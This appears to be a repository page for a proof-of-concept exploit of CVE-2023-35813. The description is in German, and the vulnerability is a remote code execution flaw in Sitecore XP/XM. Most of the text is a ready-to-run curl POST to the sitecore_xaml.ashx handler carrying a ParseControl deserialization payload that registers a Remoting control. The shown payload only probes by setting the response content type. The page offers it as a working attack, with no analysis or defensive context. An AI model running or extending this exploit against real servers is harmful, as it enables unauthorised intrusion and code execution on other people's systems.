nmlz/cve-2023-35813_pocProof-of-Concept-Exploit für CVE-2023-35813, eine Schwachstelle zur Remotecodeausführung in Sitecore XP/XM durch manipulierte XAML-Anfragen. Demonstriert einen ParseControl-Deserialisierungsangriff.
curl -k -v -X POST "https://[target]/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
-H "Content-Type: application/x-www-form-urlencoded"
--data-urlencode "__ISEVENT=1"
--data-urlencode "__SOURCE="
--data-urlencode "__PARAMETERS=ParseControl("<%@Register
TagPrefix='x'
Namespace='System.Runtime.Remoting.Services'
Assembly='System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='test123'
/>")"
